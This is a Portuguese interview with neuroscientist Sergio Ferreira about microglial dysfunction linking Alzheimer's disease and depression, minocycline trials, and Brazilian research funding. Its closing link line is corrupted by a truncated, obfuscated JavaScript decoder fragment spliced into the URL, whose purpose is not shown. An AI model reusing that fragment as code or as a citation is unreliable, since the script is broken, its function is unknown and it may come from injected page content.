PORTAL BIOQMED. Em um estudo realizado em 2007, cientistas afirmaram que as funções que as micróglias exercem no sistema nervoso central são controversas, se benéficas ou prejudiciais em várias condições neuropatológicas. Na DA e MDD, quais são as implicações benéficas e prejudiciais decorrentes da ativação crônica da micróglia?

PROFESSOR SERGIO FERREIRA. A micróglia tem um papel de vigilância, conferindo se o sistema está funcionando bem, se não tem nenhum invasor. Se no cérebro com DA começa a ter um acúmulo dos oligômeros, eles começam a ativar micróglias que começam a secretar citocinas pró-inflamatórias. Depois que isso começa, o processo se retro-alimenta, porque as próprias citocinas ativam a micróglia que secretam mais citocinas. É uma reação em cadeia que vai culminar no descontrole do sistema, então as micróglias ficam permanentemente ativadas, muito ativadas como se ficassem enlouquecidas ali e começam a procurar alvos onde não deveriam.

 

PORTAL BIOQMED. Não tem como desativá-las?

PROFESSOR SERGIO FERREIRA. Tem! Tem como desativá-las, são coisas que estamos investigando, por exemplo, hoje existem drogas que podem impedir a ativação microglial, não é matar a micróglia, acabar com ela, porque ela é importante, se você tiver um processo de infecção no cérebro é preciso ter a micróglia, então a gente não quer removê-las, mas sim que ela não se ative excessivamente. Existem algumas drogas que fazem isso, impedem essa ativação, não a mata, a micróglia permanece ali, mas estará meio que inibida. Se a droga inibisse demais isso prejudicaria, porque não se quer zerar a micróglia, mas colocar ela num nível normal, reequilibrar a atividade dela que está excessiva. É como se tivesse um termostato, a sala está muito quente, então você irá levar ela para uma temperatura mais agradável, não é colocar no gelo, mas numa temperatura agradável, confortável. Nós estamos estudando algumas dessas drogas.

 

PORTAL BIOQMED. O que é a dicotomia M1 e M2?

PROFESSOR SERGIO FERREIRA. É exatamente esse ponto que a gente estava falando. Essa dicotomia na verdade está meio que saindo de moda agora. Antigamente achava-se que a micróglia existia em duas formas, ativa e inativa. Hoje sabemos que não é só preto e branco, tem aí no meio do caminho entre o preto e o branco muitas tonalidades de cinza. Têm micróglias que estão muito pouco ativas e têm micróglias que estão muito ativas, e tem todo um espectro no meio do caminho. Essa dicotomia, que é uma coisa clássica da literatura, dizia que o estado M1 é o estado ativado e o M2 é um estado benigno, como se ela estivesse mais calma. Mas, hoje em dia, já estamos tentando evitar essa nomenclatura, porque sabemos que ela não existe somente nesses dois estados, esses seriam os dois extremos, digamos. Justamente as drogas que a gente vem testando no laboratório são drogas que evitam ou tendem a levar a micróglia para um estado menos ativado, não é inativar completamente, porque você prejudica, se tiver algum patógeno ela não estará mais ali para responder, estará parada e não é o que queremos, mas sim levá-la para um estado que esteja mais sossegada.

 

PORTAL BIOQMED. Então num cérebro com DA ao todo, terá micróglias super ativadas e em repouso ou serão todas super ativadas?

PROFESSOR SERGIO FERREIRA. Não... Terão super ativadas e outras que estarão mais em repouso, mas quando as micróglias que estão em repouso tomarem contato com os oligômeros b-amilóide, elas vão se ativar mais. Pode-se ter inclusive uma proliferação de micróglias, elas não ficam estáticas, podem se proliferar também. Elas podem aumentar de acordo com a quantidade de oligômeros.

 

PORTAL BIOQMED. Quais são as associações existentes entre a regulação microglial e neurogênese?

PROFESSOR SERGIO FERREIRA. Essa é outra questão importante, porque justamente hoje o que se imagina para explicar a depressão é a inibição da neurogênese. Até pouco tempo atrás, a gente ensinava para os alunos que o cérebro não se conserta de forma alguma, que os neurônios estão ali desde que você nasceu, então são os mesmos neurônios, então irá morrer com eles e tudo. Hoje sabemos que não é bem assim, existe esse processo chamado neurogênese, quer dizer, a gênese de novos neurônios. Esse processo não ocorre no cérebro inteiro, ocorre no que chamamos de nichos de neurogênese, regiões específicas do cérebro que acontece. Umas dessas regiões é o hipocampo, que é uma região muito importante para formação de memória no cérebro, mas que também se comunica com várias outras regiões do cérebro, pois ela se comunica com regiões do córtex, essas comunicações podem estar envolvidas, por exemplo, no fenômeno depressivo. O que sabemos atualmente é que existem condições, a infecção é uma delas, que diminuem a neurogênese. Se o cérebro está inflamado, menos neurônios se formam. Parece que esses novos neurônios que vão sendo formados naturalmente ao longo da vida são importantes para gente manter o funcionamento correto do cérebro, e quando você inibe a neurogênese, têm estudos que sugerem que você pode levar a depressão também. Essa seria a conexão entre inflamação que leva a inibição de neurogênese que poderia levar a depressão.

 

PORTAL BIOQMED. E é conhecido o mecanismo de como a inflamação está inibindo a formação de novos neurônios?

PROFESSOR SERGIO FERREIRA. É, sabe-se de algumas evidências, mas o mecanismo completo não está elucidado de como que esses mediadores inflamatórios, de como essas citocinas levam a inibição da neurogênese. É uma área que tem bastante estudo hoje.

 

PORTAL BIOQMED. Quais são as associações existentes entre a regulação microglial e neurogênese? Qual a importância e relação entre as moléculas IGF-1, BDNF e 5-HT?

PROFESSOR SERGIO FERREIRA. O BDNF é um fator neurotrófico derivado do cérebro, é o ‘’brain derived neurotrophic factor’’. O IGF-1 é um fator trófico também, é um fator neurotrófico que estimula o desenvolvimento dos neurônios, a saúde dos neurônios. O IGF é um fator trófico também, parecido com a insulina. Tanto o BDNF quanto o IGF-1 são fatores que são produzidos e secretados no cérebro e que estimulam a saúde e bem-estar dos neurônios, fazem com que os neurônios fiquem ‘’mais fortes", então melhoram a saúde do neurônio, melhoram a resistência e isso faz com que os neurônios funcionem melhor. A 5-HT é a serotonina, é justamente a substância que mencionei que falta nos pacientes deprimidos, uma delas. Todas as substâncias têm papéis importantes para a célula. Os fatores tróficos como BDNF e o IGF-1 são importantes para saúde dos neurônios e o funcionamento das sinapses. Já a 5-HT é importante também para a sobrevivência dos neurônios e para o funcionamento deles em algumas circunstâncias. Na DA e depressão os níveis desses fatores estão diminuídos.

 

PORTAL BIOQMED. Embora abordagens com anti-inflamatórios ainda não tenham conseguido obter resultados de progressão da DA, por que a Minociclina, uma droga anti-inflamatória do grupo das tetraciclinas, está sendo apontada como um alvo promissor tanto para o tratamento da DA quanto para a MDD?

PROFESSOR SERGIO FERREIRA. Então, justamente, a minociclina é uma dessas drogas que mencionei que impedem a hiperativação das micróglias, que faz com que elas estejam mais próximas ao estado de repouso delas, não desliga completamente as micróglias, mas deixam elas mais quietas, menos agressivas, é como se estivesse diminuindo a excitação das micróglias que está sendo deletéria, maléfica para o cérebro, então você leva ela para um estado mais sossegado, é o que a minociclina faz. É interessante, porque nossos estudos in vitro apontam que a minociclina consegue fazer isso, seria benéfica nos nossos modelos de DA. Tem um estudo sendo feito atualmente na Europa, um estudo clínico, então existem pacientes com DA que estão sendo medicados com minociclina e daqui a dois, três anos talvez tenhamos respostas desse estudo clínico para sabermos se essas pessoas tiveram algum benefício. Ainda não temos respostas, não se sabe ainda, mas é uma coisa que me deixa muito interessado, saber o que vai acontecer com os resultados desse estudo clínico.

Uma coisa que frequentemente acontece na área das doenças neurológicas é que muitas coisas que funcionam nos laboratórios, não funcionam nos seres humanos. Porque o cérebro de um camundongo, que é o modelo experimental predileto aqui, é muito diferente do cérebro de um humano. A complexidade do cérebro do camundongo é muito menor, é muito mais fácil que uma determinada droga faça as coisas funcionarem nele do que num cérebro humano que é muito mais complexo. É importante sempre testar em modelos o mais próximo possível de humanos e finalmente, se tudo der certo, testar em humanos. A minociclina é um antibiótico, uma tetraciclina, é segura para seres humanos, não tem efeitos colaterais importantes, não vai causar um problema, ela já foi considerada segura o suficiente para entrar num teste clínico, então ela está sendo testada agora. Seria como um tipo de substância que regularize a micróglia e talvez com isso fosse impedir que ela ataque as sinapses e afete a memória das pessoas.

 

PORTAL BIOQMED. A Nature Index Global 2015 (um suplemento da Nature), mostrou que o Brasil cresceu em produção científica, tendo publicado 715 artigos científicos em 2014, número superior ao ano de 2013 que foi de 670 artigos. Destacaram ainda, que a UFRJ é a instituição da América Latina que mais colabora com pesquisas internacionais. Para você, a qualidade dos trabalhos também tem acompanhado esse crescimento/ritmo de publicações?

PROFESSOR SERGIO FERREIRA. Têm muitos estudos mostrando o crescimento da produção científica brasileira como um todo nos últimos 10, 15 anos. Esse índice da Nature que você mencionou, é um índice diferente porque ele não leva em conta todos os artigos publicados, no Brasil publicam-se milhares e milhares de artigos por ano. Nesse índice da Nature, o que eles fizeram foi pegar um subconjunto de periódicos, de revistas científicas que são aquelas de maior prestígio em suas áreas. A Nature, por exemplo, é uma revista que publica em todas as áreas. Mas em todas as subáreas da ciência existem aquelas que os próprios cientistas reputam como as mais prestigiosas. Esse índice da Nature é interessante porque eles escolheram como se fossem a nata dos periódicos em cada área. Aumentar o número de artigos publicados nas revistas desse índice significa que você está aumentando a publicação nos periódicos que são mais importantes na área e, por trás disso, está a ideia de que se você está conseguindo publicar no periódico que é um dos mais importantes da sua área, é porque o artigo é de muito boa qualidade. O fato de aumentar é muito importante, mas o que me preocupa um pouco é o fato de que esse aumento das revistas principais tem sido mais modesto do que o aumento total. É como se a gente estivesse produzindo muita ciência, muito mais ciência do que anos atrás, mas não necessariamente essa ciência está publicada nos melhores periódicos. Então pode ser que a ciência atual do Brasil esteja indo para periódicos menos importantes, menos visíveis e terão menos visibilidade, portanto, essa ciência vai ser menos vista pelos cientistas de outros países, terá menos visibilidade e menos impacto na sua área. Impacto não é um número, é a capacidade que uma pesquisa tem de afetar o rumo de pesquisa naquela subárea. Por exemplo, se você descobre uma bactéria que causa uma doença humana, aquele impacto é enorme porque descobriu qual é o agente infeccioso, então agora as pessoas saberão atrás de quem devem ir para tentar curar a doença. Essas descobertas mais importantes da ciência tendem a ser publicadas em periódicos de mais prestígio. O que eu acho que a gente precisa fazer no Brasil hoje em dia é mudar um pouco a ênfase de publicar mais, mais e mais, para publicar melhor, melhor e melhor. Com cada vez mais qualidade, de forma que consiga atingir os critérios de publicação das revistas mais prestigiosas em cada subárea. Isso vale para nossa área, mas também para qualquer outra área de pesquisa no Brasil.

 

PORTAL BIOQMED.  A FAPERJ está querendo diminuir os recursos para investimentos na ciência em 50%, o que o senhor acha disso?

PROFESSOR SERGIO FERREIRA. Acho que é interessante notar que não é a FAPERJ que está querendo, mas o governador do Estado que mandou uma proposta de lei para Assembleia para reduzir do orçamento da receita tributária do Estado, 2% atualmente que é o da FAPERJ. E eles querem reduzir isso a metade, então é uma queda de 50%. As pessoas que estão na FAPERJ, acho muito difícil que alguém lá dentro concorde com isso, mas é uma coisa que vem de cima para baixo. Cabe à comunidade científica se manifestar contra isso. Existem petições online, abaixo assinados, desses que tem pela internet hoje em dia para ser contra isso. O orçamento da FAPERJ cresceu muitos nos últimos anos em função de que o governo cumpriu, não sei se integralmente, mas tentou se aproximar dos 2% que a Constituição do Estado exige que o governo repasse para a FAPERJ, se não foi 2%, foi algum percentual próximo a isso, foi feito um esforço, mas principalmente porque a receita do estado do Rio de Janeiro cresceu muito também em função da área de petróleo do estado. Agora a gente está vivendo uma crise econômica geral no país, mas especialmente na área petrolífera. Sabemos de todos os problemas da Petrobrás, da queda dos investimentos, toda a cadeia de negócios em torno da área de petróleo está muito diminuída. A economia do estado do Rio de Janeiro é fortemente dependente do petróleo e o negócio do petróleo está muito em baixa. Isso é um problema, porque se você já está tendo diminuição na arrecadação tributária porque a economia está desaquecida, particularmente no estado do Rio de Janeiro, a indústria petrolífera está em crise, então imagina nesse contexto você ainda diminuir em 50% o que vai para FAPERJ. Na verdade, é muito mais que 50%, porque é 50% em cima de algo que já despencou, da arrecadação que já despencou. Eu acho que como houve um crescimento expressivo na comunidade científica do Rio de Janeiro nos últimos anos, influenciado em parte pelo financiamento da FAPERJ, acho que uma queda assim pode significar na prática o fechamento de muitos laboratórios, inclusive o meu, porque se a gente não tiver a garantia sustentabilidade de financiamento pela FAPERJ e pelos órgãos federais, as pesquisas não seguem em frente. Você acaba não sendo capaz de fazer nem artigos, quanto mais artigos de qualidade se você não tem material para trabalhar. Pesquisa é uma atividade muito cara, a gente depende muito de equipamentos que são importados, e eu acho que os equipamentos no Rio de Janeiro melhoraram muito nos últimos anos, graças ao financiamento que houve aí por muitos anos. Mesmo que se tenham os equipamentos já instalados, se não tiver o dinheiro dos reagentes para fazer a coisa funcionar, os equipamentos ficam parados. Isso pode ser uma crise sem precedentes, no Brasil inteiro, mas no Rio de Janeiro particularmente, por causa da dependência da economia do petróleo.

 

Recomendamos fortemente a leitura do artigo ''Microglial dysfunction connects depression and Alzheimer’s disease'' no site do periódico através do endereço eletrônico: function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-immunity/" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=pt-BR&q=http://www.journals.elsevier.com/brain-behavior-and-immunity/&source=gmail&ust=1464110212437000&usg=AFQjCNGigq6BBaVAi6LIuCZfzel9henvgg">http://www.journals.elsevier.com/brain-behavior-and-immunity/

Formato para citação:

* Santos LE, Beckman D, Ferreira ST. Microglial dysfunction connects depression and Alzheimer's disease. Brain Behav Immun. 2015 Nov 27. pii: S0889-1591(15)30056-8. doi: 10.1016/j.bbi.2015.11.011. [Epub ahead of print] PubMed PMID: 26612494.

Por Larissa Haerolde e Francisco Prosdocimi para o portal BIOQMED.